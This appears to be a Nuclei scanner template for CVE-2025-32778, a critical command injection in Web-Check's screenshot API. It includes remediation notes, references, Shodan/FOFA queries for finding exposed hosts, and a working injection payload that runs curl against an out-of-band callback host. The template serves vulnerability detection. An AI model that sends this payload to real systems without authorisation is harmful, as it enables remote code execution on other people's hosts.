Web-Check < 2.0.1 Screenshot API - OS Command Injection

id: CVE-2025-32778

info:
  name: Web-Check < 2.0.1 Screenshot API - OS Command Injection
  author: gugacyber
  severity: critical
  description: |
    Lissy93/web-check contains a command injection caused by unsanitized user input in the screenshot API, letting attackers execute arbitrary system commands, exploit requires sending crafted url parameters.
  impact: |
    Attackers can execute arbitrary commands on the host, potentially leading to remote code execution or system compromise.
  remediation: |
    Upgrade Web-Check to version 2.0.1 or later. The fix replaces exec() with execFile(),
    which avoids shell interpretation and properly isolates command arguments.
  reference:
    - https://github.com/Lissy93/web-check/security/advisories/GHSA-jqhf-j4w8-4grr
    - https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32778
    - https://osv.dev/vulnerability/CVE-2025-32778
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-32778
    cwe-id: CWE-78
    epss-score: 0.19761
    epss-percentile: 0.97084
  metadata:
    verified: true
    max-request: 2
    vendor: lissy93
    product: web-check
    shodan-query: http.title:"Web-Check"
    fofa-query: title="Web-Check"
  tags: cve,cve2025,web-check,rce,injection,unauth,oast,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        words:
          - "<title>Web Check"
        part: body
        case-insensitive: true
        internal: true

  - raw:
      - |
        GET /api/screenshot?url=http://x%22%3bcurl${IFS}http://{{interactsh-url}}%3b%23 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ce34849543db607f87dc8ba3ea1ad9d28db007d4df4e20ca242f7c06cc5f155702205ec0c6205327dfd53bd113237efaf4108a84e13f8c91f868c9558fe18ed401fa:922c64590222798bb761d5b6d8e72950